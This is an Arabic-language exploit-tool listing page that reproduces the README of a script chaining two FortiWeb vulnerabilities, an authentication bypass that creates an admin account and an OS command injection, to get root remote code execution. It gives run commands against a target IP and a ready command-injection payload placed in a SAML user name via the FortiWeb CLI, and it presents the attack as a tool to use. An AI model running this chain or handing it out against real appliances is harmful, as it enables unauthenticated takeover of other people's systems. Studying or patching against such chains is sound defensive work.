Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-64446_CVE-2025-58034 — استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) في FortiWeb عبر سلسلة CVE-2025-64446 + CVE-2025-58034 | Kitploit
أدوات/GitHubGitHub/lincemorado97/cve-2025-64446_cve-2025-58034
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
lincemorado97/cve-2025-64446_cve-2025-58034

CVE-2025-64446_CVE-2025-58034

استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) في FortiWeb عبر سلسلة CVE-2025-64446 + CVE-2025-58034

عرض المستودع
145منذ 9 أشهرلم تتم المراجعة بعد

استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) في FortiWeb عبر سلسلة CVE-2025-64446 + CVE-2025-58034

الوصف

يربط هذا السكريبت بين ثغرتين حرجتين في Fortinet FortiWeb لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة بصلاحيات الجذر:

  1. CVE-2025-64446 – تجاوز المصادقة عبر اجتياز المسار النسبي (Relative Path Traversal)
    تتيح لمهاجم غير مصادق تجاوز المصادقة وإنشاء حساب إداري جديد.

  2. CVE-2025-58034 – حقن أوامر نظام التشغيل بعد المصادقة
    يمكن لمهاجم مصادق (باستخدام الحساب الذي تم إنشاؤه في الخطوة 1) تنفيذ أوامر نظام تشغيل تعسفية بصلاحيات الجذر عبر طلبات HTTP مصممة خصيصًا.

من خلال الجمع بين هاتين الثغرتين، يمكن للمهاجم الانتقال من انعدام الوصول التام إلى اختراق كامل للنظام دون أي بيانات اعتماد مسبقة.

التأثير النهائي: تنفيذ تعليمات برمجية عن بُعد دون مصادقة (مكافئ لصدفة الجذر)

تفاصيل الثغرات

CVE-2025-64446 – تجاوز المصادقة (اجتياز المسار النسبي)

  • النوع: اجتياز مسار نسبي يؤدي إلى تجاوز المصادقة
  • الخطورة: حرجة (درجة CVSS 3.1 الأساسية: 9.8)
  • متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • الإصدارات المتأثرة:
    • FortiWeb 8.0.0 – 8.0.1
    • FortiWeb 7.6.0 – 7.6.4
    • FortiWeb 7.4.0 – 7.4.9
    • FortiWeb 7.2.0 – 7.2.11
    • FortiWeb 7.0.0 – 7.0.11

CVE-2025-58034 – حقن أوامر نظام التشغيل بعد المصادقة

  • CVE: CVE-2025-58034
  • النوع: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام تشغيل (حقن أوامر نظام التشغيل) – [CWE-78]
  • الخطورة: حرجة
  • الوصف:
    يمكن لمهاجم مصادق تنفيذ أوامر نظام تشغيل تعسفية على النظام الأساسي عبر طلبات HTTP أو أوامر CLI مصممة خصيصًا.
  • الإصدارات المتأثرة (الموسّعة بواسطة هذه الثغرة):
    • FortiWeb 8.0.0 – 8.0.1
    • FortiWeb 7.6.0 – 7.6.5 (ملاحظة: يشمل 7.6.5)
    • FortiWeb 7.4.0 – 7.4.10 (ملاحظة: يشمل 7.4.10)
    • FortiWeb 7.2.0 – 7.2.11
    • FortiWeb 7.0.0 – 7.0.11

سلسلة الهجوم المجمعة:

  1. استخدم CVE-2025-64446 → أنشئ حساب مسؤول (بدون مصادقة)
  2. سجّل الدخول باستخدام حساب المسؤول المُنشأ حديثًا
  3. استخدم CVE-2025-58034 → نفّذ أوامر نظام تشغيل تعسفية بصلاحيات الجذر

الاستخدام

  1. استنساخ المستودع:

    root@kitploit:~
    git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
    cd CVE-2025-64446_CVE-2025-58034
    
  2. تثبيت التبعيات:

    root@kitploit:~
    pip install -r requirements.txt
    
  3. تشغيل الاستغلال الكامل (إنشاء مسؤول + تنفيذ أمر):

    root@kitploit:~
    python exploit.py <target_ip> [-u <username>] [-p <password>]
    
    • <target_ip>: عنوان IP أو اسم المضيف لجهاز FortiWeb المعرّض للثغرة. هذه وسيطة إلزامية.
    • -u <username> (اختياري): تحديد اسم مستخدم مخصص للحساب الإداري المُنشأ. إذا لم يتم توفيره، سيتم استخدام UUID.
    • -p <password> (اختياري): تحديد كلمة مرور مخصصة للحساب الإداري المُنشأ. إذا لم يتم توفيرها، سيتم استخدام اسم المستخدم ككلمة مرور.

    مثال:

    root@kitploit:~
    python exploit.py 192.168.1.100 -u admin123 -p password456
    

    سيحاول هذا إنشاء حساب إداري باسم المستخدم "admin123" وكلمة المرور "password456" على الجهاز الهدف عند 192.168.1.100.

    إذا لم يتم تحديد اسم مستخدم وكلمة مرور:

    root@kitploit:~
    python exploit.py 192.168.1.100
    

العرض التوضيحي

الخطوة 1: تجاوز المصادقة وإنشاء حساب المسؤول (CVE-2025-64446)

استغلال

التحقق

الخطوة 2: تنفيذ التعليمات البرمجية عن بُعد بصلاحيات الجذر (CVE-2025-58034)

بعد تسجيل الدخول بنجاح باستخدام الحساب الإداري المُنشأ حديثًا، يمكن للمهاجم استغلال ثغرة حقن الأوامر بعد المصادقة عبر طلبات مصممة خصيصًا أو مباشرة عبر واجهة سطر أوامر FortiWeb (CLI).

من بين طرق الاستغلال الموثوقة استخدام أمر CLI التالي (يُنفَّذ من واجهة سطر أوامر FortiWeb بعد المصادقة):

root@kitploit:~
config user saml-user

edit "`<YOUR COMMAND>`"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

صدفة-الجذر عرض RCE

التحقق

بعد التنفيذ:

  • تحقق من المخرجات بحثًا عن نتائج الأوامر (على سبيل المثال، uid=0(root) gid=0(root) يؤكد تنفيذ أوامر بصلاحيات الجذر عن بُعد)
  • سجّل الدخول عبر SSH (إذا أضفت مفتاحًا) أو عبر واجهة الويب باستخدام بيانات الاعتماد المُنشأة

المراجع

  • CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
  • CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
  • استشارات Fortinet PSIRT: https://www.fortinet.com/support/psirt
  • التحليل: https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis

إخلاء مسؤولية: يتم توفير هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.

تنزيل الأداة

ستقوم الأداة بتوليد UUID عشوائي لاسم المستخدم واستخدامه ككلمة مرور.